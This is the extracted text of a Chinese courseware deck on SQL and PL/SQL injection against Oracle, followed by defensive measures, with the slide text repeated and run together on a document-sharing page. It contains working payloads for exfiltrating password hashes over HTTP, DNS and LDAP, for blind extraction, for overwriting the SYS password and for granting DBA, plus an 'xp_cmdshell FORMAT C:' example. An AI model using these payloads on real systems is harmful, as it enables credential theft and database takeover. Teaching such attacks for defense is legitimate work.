SQL注入攻击和防护技术课件_第1页
SQL注入攻击和防护技术课件_第2页
SQL注入攻击和防护技术课件_第3页
SQL注入攻击和防护技术课件_第4页
SQL注入攻击和防护技术课件_第5页
已阅读5页,还剩79页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

SQL注入攻击和防护技术SQL注入攻击和防护技术1C ONTENT

目录SQL注入与PLsql注入SQL注入的基本形式和注入点SQL注入探索方式010203SQL注入的过程SQL注入实现的功能040506防止SQL注入的手段C ONTENT目录SQL注入与PLsql注入SQL注入的2SQL和PLSQL注入攻击SQL注入利用应用程序SQL语句的漏洞(注入点)加载自己的恶意代码获取信息或者提升权限。PLSQL注入利用应用程序的PLSQL代码漏洞或者Oracle本身的PLSQL代码漏洞加载自己的恶意代码获取信息或者提升权限。SQL和PLSQL注入攻击SQL注入3SQL注入的危害数据表中的数据外泄,例如个人机密数据,账号数据,密码等数据结构被黑客探知,得以做进一步攻击

例如SELECT

*FROM

sys.tables数据库服务器被攻击,系统管理员账户被窜改

例如ALTER

LOGIN

sa

WITHPASSWORD='xxxxxx’获取系统较高权限后,有可能得以在网页加入恶意链接、恶意代码以及XSS等经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统破坏硬盘数据,瘫痪全系统

例如xp_cmdshell "FORMAT C:"SQL注入的危害数据表中的数据外泄,例如个人机密数据,账号数4C ONTENT

目录SQL注入与PLsql注入SQL注入的基本形式和注入点SQL注入探索方式010203SQL注入的过程SQL注入实现的功能040506防止SQL注入的手段C ONTENT目录SQL注入与PLsql注入SQL注入的5SQL注入的基本形式web端注入服务器端程序将Web应用程序的用户输入参数作为查询条件,直接拼接成SQL语句,并将查询结果返回给客户端浏览器。数据库端注入以数据库用户连接数据库,通过数据库用户的输入进行SQL注入,以达到提升权限或者越权操作的目的。SQL注入的基本形式web端注入6盲注布尔盲注布尔盲注只会根据SQL注入的攻击语句返回Ture和False,没有错误信息。时间盲注界面返回值只有True,无论输入任何值返回情况都会按照正常来处理。加入特定的时间参数,通过查看web页面返回的时间差来判断注入的语句是否正确。盲注布尔盲注7注入点注入点在语句结尾意味着只要关闭语句,增加注入即可。注入点在语句中间不仅需要关闭注入点之前的内容,还需要关闭之后的内容,通常是通过注释掉后续内容转变为注入点在语句结尾。注入点注入点在语句结尾8C ONTENT

目录SQL注入与PLsql注入SQL注入的基本形式和注入点SQL注入探索方式010203SQL注入的过程SQL注入实现的功能040506防止SQL注入的手段C ONTENT目录SQL注入与PLsql注入SQL注入的9SQL注入的过程发现漏洞通过漏洞了解信息以正确的利用该漏洞注入以获得数据提取权限设置后门SQL注入的过程发现漏洞10C ONTENT

目录SQL注入与PLsql注入SQL注入的基本形式和注入点SQL注入探索方式010203SQL注入的过程SQL注入实现的功能040506防止SQL注入的手段C ONTENT目录SQL注入与PLsql注入SQL注入的11SQL注入探索的三种不同方式带内错误检索(inband)错误信息从应用程序直接输出,比如浏览器。带外错误检索(out-of-band)错误信息发送到应用程序以外的服务器上。瞎猜(blind)在应用程序屏蔽错误信息以及带外作物不可行的情况下进行。SQL注入探索的三种不同方式带内错误检索(inband)12通过错误信息获取数据库信息通过错误信息获得账户名,是否属于SYSDBA,应用服务器IP,Oracle数据库漏洞信息地址,数据库名,数据库服务器名以及Oracle的版本信息。获知版本号之后就可以大致获得可以利用的。

script\gethostname-dbinfo.sql•1通过错误信息获取数据库信息通过错误信息获得账户名,是否属于S13通过错误信息获取数据库账户列表通过错误信息获取数据库账户列表script\gethostname-userinfo.sql•1通过错误信息获取数据库账户列表通过错误信息获取数据库账户列表14通过错误信息获取账户权限列表通过错误信息获得连接账户的拥有的权限和角色列。script\gethostname-priv.sql•1通过错误信息获取账户权限列表通过错误信息获得连接账户的拥有的15通过错误信息获取表格信息同样的道理,可以利用错误信息来获取用户的表格信息,列信息以及利用错误信息来获得数据。script\gethostname-tabinfo.sql•1通过错误信息获取表格信息同样的道理,可以利用错误信息来获取用16获取感兴趣表格的列信息及内容可以通过错误信息获取感兴趣表格的列信息。可以通过错误信息获取感兴趣表格的内容信息。script\gethostname-colinfo.sql

script\gethostname-valueinfo.sql•1获取感兴趣表格的列信息及内容可以通过错误信息获取感兴趣表格的17屏蔽错误信息以增加SQL注入难度屏蔽错误信息,使Oracle的原始错误信息不要返回给应用程序。入侵者只能依赖Blind

SQL

inject来完成信息收集,增加入侵难度。这里不讲如何进行Blind

SQL

Inject,互联网上信息很多。Blind

SQLInject是SQL注入领域的热门话题。•1屏蔽错误信息以增加SQL注入难度屏蔽错误信息,使Oracle18带外错误检索(out-of-Band)•1当错误信息被应用程序屏蔽之后,可以采用OOB的方式获取错误信息以及感兴趣的数据信息。Utl_httpHTTPURITYPESYS.DBMS_LDAPDNS带外错误检索(out-of-Band)•1当错误信息被应用程19通过utl_http获取信息•2selectutl_http.request('/'||(selectpasswordfromdba_userswhererownum=1))from

dual;具体参见后续的数据获取方式通过utl_http获取信息•2selectutl_htt20通过HTTPURITYPE获取信息•2SelectHTTPURITYPE('/'||(selectpasswordfromdba_userswhererownum=1)).getclob()from

dual;具体参见后续的数据获取方式通过HTTPURITYPE获取信息•2SelectHTTP21通过DNS服务获取信息•2selectutl_http.request('http://www.'||(selectpasswordfromdba_userswhererownum=1)||'./')from

dual;具体参见后续的数据获取方式通过DNS服务获取信息•2selectutl_http.r22通过ldap_init获取信息•2SELECTSYS.DBMS_LDAP.INIT((SELECTuser

fromdual)||‘.’,80)FROM

DUAL;具体参见后续的数据获取方式通过ldap_init获取信息•2SELECTSYS.DB23通过Blind

Inject获取信息在In-Band和OOB都被防御之后,入侵者只能通过Blind

Guess的方式来进行信息获取。已经有很多支持Blind

Inject的SQL注入工具可以使用。•2通过BlindInject获取信息在In-Band和OOB24BlindSQL

Inject主要通过注入的页面响应来检测是否是需要的结果,甚至可以用时间延迟的方式来简单判断。逻辑判断:decode|case比如我们想得到SYS账户的Password

Hash。我们可以获取password

hash的每一位字符来进行比较,正常响应表示字符匹配。Google上存在大量的Blind

SQL

Inject工具来提高Bind

SQL

inject的效率。•2BlindSQLInject主要通过注入的页面响应来检测25BlindSQL

Inject•2观察页面响应:selectpasswordfromuser$wheredecode(substr(password,1,1),'0',1,2)

=1selectpasswordfromuser$where casesubstr(password,1,1)when'0'then

1else2end=

1;观察响应延迟:selectpasswordfromuser$where casesubstr(password,1,1)when'0'then

1elsedbms_pipe.receive_message('A',1)end=

1;BlindSQLInject•2观察页面响应:26C ONTENT

目录SQL注入与PLsql注入SQL注入的基本形式和注入点SQL注入探索方式010203SQL注入的过程SQL注入实现的功能040506防止SQL注入的手段C ONTENT目录SQL注入与PLsql注入SQL注入的27SQL注入实现的功能权限提升获得账户password

hash更新账户密码更新黑名单信息设置后门•2SQL注入实现的功能权限提升•228利用SQL注入进行权限提升入侵者对于简单数据获取不满足或者当前用户权限太小使其数据获取困难,这个时候入侵者会想办法进行权限提升。Oracle数据库每个版本都存在着PLSQL注入漏洞,入侵者利用这些漏洞进行权限提升。利用SQL注入进行权限提升入侵者对于简单数据获取不满足或者当29案例分析正常输入手机号码、卡号后四位对应的查询语句案例分析正常输入手机号码、卡号后四位对应的查询语句30测试and

I=I

存在注入点测试andI=I存在注入点31SQL注入获得账户Password

Hasandutl_inaddr.get_host_name((selectpasswordfromsys.user$wherename='SYS'))isnotnull

--SQL注入获得账户PasswordHash1560650932SQL注入获得信用卡账户密码SQL注入获得信用卡账户密码33SQL注入更新账户密ordbms_xmlquery.newContext('declarepragmaautonomous_transaction;begin updatesys.user$setpassword=''8A8F025737A9097A''whererownum<2;

commit; end;'

)isnotnull

--SQL注入更新账户密or34SQL注入升级权限控制数据ordbms_xmlquery.newContext('declarel_sql

varchar2(4000); beginauthid

current_userexecuteimmediate

''isexecuteimmediate''''grantdbato

scott'''';pragma

autonomous_transaction;createorreplacefunctiongrant_dbareturnpragma

autonomous_transaction;commit;varchar2beginreturn

''''z'''';end;''; commit;sys.lt.findricset(''AA.AA''''||credit.grant_dba)--'',''BBBB''); end;')isnotnull

--SQL注入升级权限控制数据or35C ONTENT

目录SQL注入与PLsql注入SQL注入的基本形式和注入点SQL注入探索方式010203SQL注入的过程SQL注入实现的功能040506防止SQL注入的手段C ONTENT目录SQL注入与PLsql注入SQL注入的36针对SQL注入的防御手段SQL注入攻击错误检测数据库前端防火墙关闭http以及其他不必要的端口基于白名单的SQL注入攻击检测监视常见的SQL注入攻击形态•3针对SQL注入的防御手段SQL注入攻击错误检测•337SQL注入防御措施1SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库。四种方法:P-Statement(预编译)使用正则表达式过滤传入的参数字符串过滤jsp中调用该函数检查是否包函非法字符SQL注入防御措施1SQL注入是比较常见的网络攻击方式之一,38SQL注入的防护措施2白名单与注入特征库注入攻击检测与响应白名单智能化收集与部署智能化检测未知风险后续行为检测与控制SQL白名单防御机制实时检测漏洞和虚拟补丁SQL注入的防护措施2白名单与注入特征库39策略规则基于IP地址基于时间基于用户基于操作基于关键字基于列基于表名基于行数基于注入特征库解析还原SQL操作应用服务器数据库防火墙数据库策略规则匹配结果:阻断、告警、通过。直接远程连接访问数据库通过应用访问数据库用户A:操作A用户B:操作B用户C:操作C用户A:操作A---阻断用户B:操作B---告警用户C:操作C---通过SQL操作语句用户身份SQL白名单SQL注入特征库机器学习模型数据库防火墙工作原理策略规则基于IP地址解析还原SQL应用服务器数据库防火40SQL白名单SQL注入特征库处理用户身份通行依据风险等级处置阻断/通行,并告警进入下一步判断匹配匹配匹配匹配SQL操作语句机器学习模型数据库防火墙工作流SQL白名单SQL注入特征库用户身份通行依据风险等级处置阻断41THANKYOU

!THANKYOU!42SQL注入攻击和防护技术SQL注入攻击和防护技术43C ONTENT

目录SQL注入与PLsql注入SQL注入的基本形式和注入点SQL注入探索方式010203SQL注入的过程SQL注入实现的功能040506防止SQL注入的手段C ONTENT目录SQL注入与PLsql注入SQL注入的44SQL和PLSQL注入攻击SQL注入利用应用程序SQL语句的漏洞(注入点)加载自己的恶意代码获取信息或者提升权限。PLSQL注入利用应用程序的PLSQL代码漏洞或者Oracle本身的PLSQL代码漏洞加载自己的恶意代码获取信息或者提升权限。SQL和PLSQL注入攻击SQL注入45SQL注入的危害数据表中的数据外泄,例如个人机密数据,账号数据,密码等数据结构被黑客探知,得以做进一步攻击

例如SELECT

*FROM

sys.tables数据库服务器被攻击,系统管理员账户被窜改

例如ALTER

LOGIN

sa

WITHPASSWORD='xxxxxx’获取系统较高权限后,有可能得以在网页加入恶意链接、恶意代码以及XSS等经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统破坏硬盘数据,瘫痪全系统

例如xp_cmdshell "FORMAT C:"SQL注入的危害数据表中的数据外泄,例如个人机密数据,账号数46C ONTENT

目录SQL注入与PLsql注入SQL注入的基本形式和注入点SQL注入探索方式010203SQL注入的过程SQL注入实现的功能040506防止SQL注入的手段C ONTENT目录SQL注入与PLsql注入SQL注入的47SQL注入的基本形式web端注入服务器端程序将Web应用程序的用户输入参数作为查询条件,直接拼接成SQL语句,并将查询结果返回给客户端浏览器。数据库端注入以数据库用户连接数据库,通过数据库用户的输入进行SQL注入,以达到提升权限或者越权操作的目的。SQL注入的基本形式web端注入48盲注布尔盲注布尔盲注只会根据SQL注入的攻击语句返回Ture和False,没有错误信息。时间盲注界面返回值只有True,无论输入任何值返回情况都会按照正常来处理。加入特定的时间参数,通过查看web页面返回的时间差来判断注入的语句是否正确。盲注布尔盲注49注入点注入点在语句结尾意味着只要关闭语句,增加注入即可。注入点在语句中间不仅需要关闭注入点之前的内容,还需要关闭之后的内容,通常是通过注释掉后续内容转变为注入点在语句结尾。注入点注入点在语句结尾50C ONTENT

目录SQL注入与PLsql注入SQL注入的基本形式和注入点SQL注入探索方式010203SQL注入的过程SQL注入实现的功能040506防止SQL注入的手段C ONTENT目录SQL注入与PLsql注入SQL注入的51SQL注入的过程发现漏洞通过漏洞了解信息以正确的利用该漏洞注入以获得数据提取权限设置后门SQL注入的过程发现漏洞52C ONTENT

目录SQL注入与PLsql注入SQL注入的基本形式和注入点SQL注入探索方式010203SQL注入的过程SQL注入实现的功能040506防止SQL注入的手段C ONTENT目录SQL注入与PLsql注入SQL注入的53SQL注入探索的三种不同方式带内错误检索(inband)错误信息从应用程序直接输出,比如浏览器。带外错误检索(out-of-band)错误信息发送到应用程序以外的服务器上。瞎猜(blind)在应用程序屏蔽错误信息以及带外作物不可行的情况下进行。SQL注入探索的三种不同方式带内错误检索(inband)54通过错误信息获取数据库信息通过错误信息获得账户名,是否属于SYSDBA,应用服务器IP,Oracle数据库漏洞信息地址,数据库名,数据库服务器名以及Oracle的版本信息。获知版本号之后就可以大致获得可以利用的。

script\gethostname-dbinfo.sql•1通过错误信息获取数据库信息通过错误信息获得账户名,是否属于S55通过错误信息获取数据库账户列表通过错误信息获取数据库账户列表script\gethostname-userinfo.sql•1通过错误信息获取数据库账户列表通过错误信息获取数据库账户列表56通过错误信息获取账户权限列表通过错误信息获得连接账户的拥有的权限和角色列。script\gethostname-priv.sql•1通过错误信息获取账户权限列表通过错误信息获得连接账户的拥有的57通过错误信息获取表格信息同样的道理,可以利用错误信息来获取用户的表格信息,列信息以及利用错误信息来获得数据。script\gethostname-tabinfo.sql•1通过错误信息获取表格信息同样的道理,可以利用错误信息来获取用58获取感兴趣表格的列信息及内容可以通过错误信息获取感兴趣表格的列信息。可以通过错误信息获取感兴趣表格的内容信息。script\gethostname-colinfo.sql

script\gethostname-valueinfo.sql•1获取感兴趣表格的列信息及内容可以通过错误信息获取感兴趣表格的59屏蔽错误信息以增加SQL注入难度屏蔽错误信息,使Oracle的原始错误信息不要返回给应用程序。入侵者只能依赖Blind

SQL

inject来完成信息收集,增加入侵难度。这里不讲如何进行Blind

SQL

Inject,互联网上信息很多。Blind

SQLInject是SQL注入领域的热门话题。•1屏蔽错误信息以增加SQL注入难度屏蔽错误信息,使Oracle60带外错误检索(out-of-Band)•1当错误信息被应用程序屏蔽之后,可以采用OOB的方式获取错误信息以及感兴趣的数据信息。Utl_httpHTTPURITYPESYS.DBMS_LDAPDNS带外错误检索(out-of-Band)•1当错误信息被应用程61通过utl_http获取信息•2selectutl_http.request('/'||(selectpasswordfromdba_userswhererownum=1))from

dual;具体参见后续的数据获取方式通过utl_http获取信息•2selectutl_htt62通过HTTPURITYPE获取信息•2SelectHTTPURITYPE('/'||(selectpasswordfromdba_userswhererownum=1)).getclob()from

dual;具体参见后续的数据获取方式通过HTTPURITYPE获取信息•2SelectHTTP63通过DNS服务获取信息•2selectutl_http.request('http://www.'||(selectpasswordfromdba_userswhererownum=1)||'./')from

dual;具体参见后续的数据获取方式通过DNS服务获取信息•2selectutl_http.r64通过ldap_init获取信息•2SELECTSYS.DBMS_LDAP.INIT((SELECTuser

fromdual)||‘.’,80)FROM

DUAL;具体参见后续的数据获取方式通过ldap_init获取信息•2SELECTSYS.DB65通过Blind

Inject获取信息在In-Band和OOB都被防御之后,入侵者只能通过Blind

Guess的方式来进行信息获取。已经有很多支持Blind

Inject的SQL注入工具可以使用。•2通过BlindInject获取信息在In-Band和OOB66BlindSQL

Inject主要通过注入的页面响应来检测是否是需要的结果,甚至可以用时间延迟的方式来简单判断。逻辑判断:decode|case比如我们想得到SYS账户的Password

Hash。我们可以获取password

hash的每一位字符来进行比较,正常响应表示字符匹配。Google上存在大量的Blind

SQL

Inject工具来提高Bind

SQL

inject的效率。•2BlindSQLInject主要通过注入的页面响应来检测67BlindSQL

Inject•2观察页面响应:selectpasswordfromuser$wheredecode(substr(password,1,1),'0',1,2)

=1selectpasswordfromuser$where casesubstr(password,1,1)when'0'then

1else2end=

1;观察响应延迟:selectpasswordfromuser$where casesubstr(password,1,1)when'0'then

1elsedbms_pipe.receive_message('A',1)end=

1;BlindSQLInject•2观察页面响应:68C ONTENT

目录SQL注入与PLsql注入SQL注入的基本形式和注入点SQL注入探索方式010203SQL注入的过程SQL注入实现的功能040506防止SQL注入的手段C ONTENT目录SQL注入与PLsql注入SQL注入的69SQL注入实现的功能权限提升获得账户password

hash更新账户密码更新黑名单信息设置后门•2SQL注入实现的功能权限提升•270利用SQL注入进行权限提升入侵者对于简单数据获取不满足或者当前用户权限太小使其数据获取困难,这个时候入侵者会想办法进行权限提升。Oracle数据库每个版本都存在着PLSQL注入漏洞,入侵者利用这些漏洞进行权限提升。利用SQL注入进行权限提升入侵者对于简单数据获取不满足或者当71案例分析正常输入手机号码、卡号后四位对应的查询语句案例分析正常输入手机号码、卡号后四位对应的查询语句72测试and

I=I

存在注入点测试andI=I存在注入点73SQL注入获得账户Password

Hasandutl_inaddr.get_host_name((selectpasswordfromsys.user$wherename='SYS'))isnotnull

--SQL注入获得账户PasswordHash1560650974SQL注入获得信用卡账户密码SQL注入获得信用卡账户密码75SQL注入更新账户密ordbms_xmlquery.newContext('declarepragmaautonomous_transaction;begin updatesys.user$setpassword=''8A8F025737A9097A''whererownum<2;

commit; end;'

)isnotnull

--SQL注入更新账户密or76SQL注入升级权限控制数据ordbms_xmlquery.newContext('declarel_sql

varchar2(4000); beginauthid

current_userexecuteimmediate

''isexecuteimmediate''''grantdbato

scott'''';pragma

autonomous_t

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

最新文档

评论

0/150

提交评论